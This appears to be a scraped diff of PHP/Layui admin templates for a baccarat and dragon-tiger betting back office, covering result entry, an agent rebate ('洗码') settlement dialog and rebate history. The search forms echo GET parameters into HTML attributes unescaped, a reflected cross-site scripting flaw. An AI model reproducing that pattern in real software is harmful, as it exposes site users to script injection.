|
||||
/* 获取结果信息 */
|
||||
var result = $(".result_dt").find('input:checked').val();
|
||||
if(result.length <= 0){
|
||||
layer.msg('请选择结果!');
|
||||
return false;
|
||||
}
|
||||
/* 拼装所有要发送的数据, 下注,写入数据库 */
|
||||
var query = new Object;
|
||||
query.table_id = table_id;
|
||||
query.boot_id = boot_id;
|
||||
query.number_tab_id = number_tab_id;
|
||||
query.status = 'edit';
|
||||
query.chip = JSON.stringify(chip);
|
||||
query.result = result;
|
||||
|
||||
var chip_url = "/waybill/dt_chip_in";
|
||||
// 提醒管理员是否提交数据到后台
|
||||
layer.confirm('确定提交吗?', {
|
||||
btn: ['确定','取消'] //按钮
|
||||
}, function(){
|
||||
var result = ajax(chip_url,query);
|
||||
if(result.status == 0){
|
||||
layer.alert(result.msg);
|
||||
return false;
|
||||
}else if(result.status == 1){
|
||||
layer.msg(result.msg,{time:1000},function(){
|
||||
window.location.reload();
|
||||
});
|
||||
return false;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
|
||||
<!-- 用于结果的选择判断和高亮样式 -->
|
||||
<script>
|
||||
// 百家乐选择结果判断和颜色改变
|
||||
function toggleon(index){
|
||||
// 获取庄、闲、和是否被选中的信息
|
||||
var banker = $(".footer-box .radio-box .banker").children("input").is(':checked');
|
||||
var player = $(".footer-box .radio-box .player").children("input").is(':checked');
|
||||
var tie = $(".footer-box .radio-box .tie").children("input").is(':checked');
|
||||
|
||||
// 选中庄
|
||||
if(banker==true && index == 2){
|
||||
$(".footer-box .radio-box .player").children("input").prop("checked",false);
|
||||
$(".footer-box .radio-box .tie").children("input").prop("checked",false);
|
||||
$(".footer-box .radio-box .player").removeClass('on');
|
||||
$(".footer-box .radio-box .tie").removeClass('on');
|
||||
}
|
||||
// 选中闲
|
||||
else if(player==true && index == 1){
|
||||
$(".footer-box .radio-box .banker").children("input").prop("checked",false);
|
||||
$(".footer-box .radio-box .tie").children("input").prop("checked",false);
|
||||
$(".footer-box .radio-box .banker").removeClass('on');
|
||||
$(".footer-box .radio-box .tie").removeClass('on');
|
||||
}
|
||||
// 选中和
|
||||
else if(tie==true && index == 0){
|
||||
$(".footer-box .radio-box .banker").children("input").prop("checked",false);
|
||||
$(".footer-box .radio-box .player").children("input").prop("checked",false);
|
||||
$(".footer-box .radio-box .banker").removeClass('on');
|
||||
$(".footer-box .radio-box .player").removeClass('on');
|
||||
}
|
||||
|
||||
// 当选中的是庄、闲或和时,直接选中
|
||||
var $checked=$(".footer-box .radio-box span").eq(index);
|
||||
var checked=$checked.children("input").is(':checked');
|
||||
|
||||
if(checked==true){
|
||||
$checked.addClass("on")
|
||||
}else{
|
||||
$checked.removeClass("on")
|
||||
}
|
||||
}
|
||||
$(".footer-box .radio-box span").click(function(){
|
||||
var index = $(this).index() - 1;
|
||||
toggleon(index);
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,183 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ /*margin-top:15px; margin-bottom:-5px;*/ padding: 10px 0; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
|
||||
.alert{position:fixed; top:30%; left:30%; width:600px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
|
||||
.alert-title{background:#F2F2F2; height:40px; padding-left:30px; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;}
|
||||
.alert-main th{width:40%;}
|
||||
.alert-footer{padding:20px; text-align:center;}
|
||||
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">洗码列表</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right" href="javascript:location.replace(location.href);" title="刷新"><i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/xima/index" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>用户名</th>
|
||||
<th>联系人</th>
|
||||
<th>上级代理</th>
|
||||
<th>商户余额</th>
|
||||
<th>百家乐码率(%)</th>
|
||||
<th>龙虎码率(%)</th>
|
||||
<th>占股(%)</th>
|
||||
<th>洗码量</th>
|
||||
<th>码量</th>
|
||||
<th>未结码量</th>
|
||||
<th>已结码量</th>
|
||||
<th>最后洗码时间</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="agent_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.nickname}</td>
|
||||
{if condition="$vo.agent_parent_id > 0"}
|
||||
<td>{$vo.agent_parent_username}({$vo.agent_parent_nickname})</td>
|
||||
{else}
|
||||
<td>无</td>
|
||||
{/if}
|
||||
<td>{$vo.money}</td>
|
||||
<td>{$vo.agent_ximalv}</td>
|
||||
<td>{$vo.agent_ximalv_dt}</td>
|
||||
<td>{$vo.agent_cs}</td>
|
||||
<td>{$vo.totalXimaliang}</td>
|
||||
<td>{$vo.maliang}</td>
|
||||
<td>{$vo.noCheckoutMaliang}</td>
|
||||
<td>{$vo.checkoutMaliang}</td>
|
||||
<td>{$vo.last_xima_time}</td>
|
||||
<td class="td-manage">
|
||||
<a href="javascript:void(0);">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;" href="javascript:void(0)" data-userid="{$vo.id}"
|
||||
data-username="{$vo.username}" data-nickname="{$vo.nickname}" data-maliang="{$vo.maliang}"
|
||||
data-agent_ximalv="{$vo.agent_ximalv}%" data-agent_ximalv_dt="{$vo.agent_ximalv_dt}%" data-checkoutMaliang="{$vo.checkoutMaliang}"
|
||||
data-noCheckoutMaliang="{$vo.noCheckoutMaliang}"
|
||||
data-lastCheckOutTime="{$vo.last_xima_time}"
|
||||
onclick="showXima(this,'alert_xima')">洗码</span>
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$agent_list->render()}
|
||||
</div>
|
||||
<div class="alert" id="alert_xima">
|
||||
<div class="alert-title">洗码</div>
|
||||
<div class="alert-main">
|
||||
<table class="layui-table" style="margin:0;">
|
||||
<tr><th style="border-left:none; text-align:right;">账号:</th><td style="border-right:none;" id="xima_username"></td></tr>
|
||||
<tr><th style="border-left:none; text-align:right;">用户名:</th><td style="border-right:none;" id="xima_nickname"></td></tr>
|
||||
<tr><th style="border-left:none; text-align:right;">未结码量:</th><td style="border-right:none;" id="xima_nocheckout_maliang"></td></tr>
|
||||
<tr><th style="border-left:none; text-align:right;">上一次洗码时间:</th><td style="border-right:none;" id="xima_last_checkout_time"></td></tr>
|
||||
</table>
|
||||
</div>
|
||||
<div class="alert-footer">
|
||||
<input type="hidden" id="xm_user_id" value="" />
|
||||
<span class="input_button" onclick="postXima()" style="background:#009688; color:#fff;">确定洗码</span>
|
||||
<span class="input_button" style="margin-left: 20%; background:#f2f2f2; border:1px solid #e2e2e2;" onclick="hiddenForm('alert_xima')">取消洗码</span>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
//弹出洗码窗口
|
||||
function showXima(obj, id) {
|
||||
$('#' + id).show();
|
||||
$('#xm_user_id').val($(obj).attr("data-userid"));
|
||||
$('#xima_username').html($(obj).attr("data-username"));
|
||||
$('#xima_nickname').html($(obj).attr("data-nickname"));
|
||||
$('#xima_nocheckout_maliang').html($(obj).attr("data-noCheckoutMaliang"));
|
||||
$('#xima_last_checkout_time').html($(obj).attr("data-lastCheckOutTime"));
|
||||
}
|
||||
//点击隐藏表单弹窗
|
||||
function hiddenForm(id) {
|
||||
$('#' + id).hide();
|
||||
}
|
||||
//处理洗码
|
||||
function postXima() {
|
||||
layer.confirm('是否对该账号洗码?', {
|
||||
btn: ['是','否'] //按钮
|
||||
}, function(){
|
||||
var query = new Object();
|
||||
if ($('#xm_user_id').val() > 0) {
|
||||
query.user_id = $('#xm_user_id').val();
|
||||
} else {
|
||||
layer.alert('洗码出错');
|
||||
return false;
|
||||
}
|
||||
if (parseInt($('#xima_nocheckout_maliang').html()) > 0) {
|
||||
query.total = parseInt($('#xima_nocheckout_maliang').html());
|
||||
} else {
|
||||
layer.alert('洗码数目必须大于0');
|
||||
return false;
|
||||
}
|
||||
var url = '/xima/do_xima';
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
dataType: "json",
|
||||
type: "POST",
|
||||
success: function (data) {
|
||||
if (data.errorCode === 0) {
|
||||
layer.alert('洗码成功',function(){
|
||||
window.location.reload();
|
||||
});
|
||||
} else {
|
||||
layer.alert(data.errorMessage);
|
||||
}
|
||||
}
|
||||
})
|
||||
});
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,124 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">洗码记录</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/xima/xima_check" method="get">
|
||||
<input class="layui-input" placeholder="开始日" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="截止日" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<div class="layui-input-block" >
|
||||
<select name="admin_or_agent" id="admin_or_agent">
|
||||
<option value="">全部洗码记录</option>
|
||||
<option value="1" <?php if(isset($get['admin_or_agent']) && $get['admin_or_agent'] == 1) {echo 'selected';} ?>>查询总台操作洗码记录</option>
|
||||
</select>
|
||||
</div>
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>用户名</th>
|
||||
<th>洗码率(百/龙/牛)%</th>
|
||||
<th>洗码量</th>
|
||||
<th>洗码费</th>
|
||||
<th>操作人</th>
|
||||
<th>洗码时间</th>
|
||||
<th>备注</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="xima_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.agent_ximalv}</td>
|
||||
<td>{$vo.ximaliang}</td>
|
||||
<td>{$vo.maliang}</td>
|
||||
<td>{$vo.connection_username}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
<td>{$vo.admin_or_agent_msg}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$xima_list->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/xima/xima_check?export=1&{$query}";
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Reference in New Issue
Block a user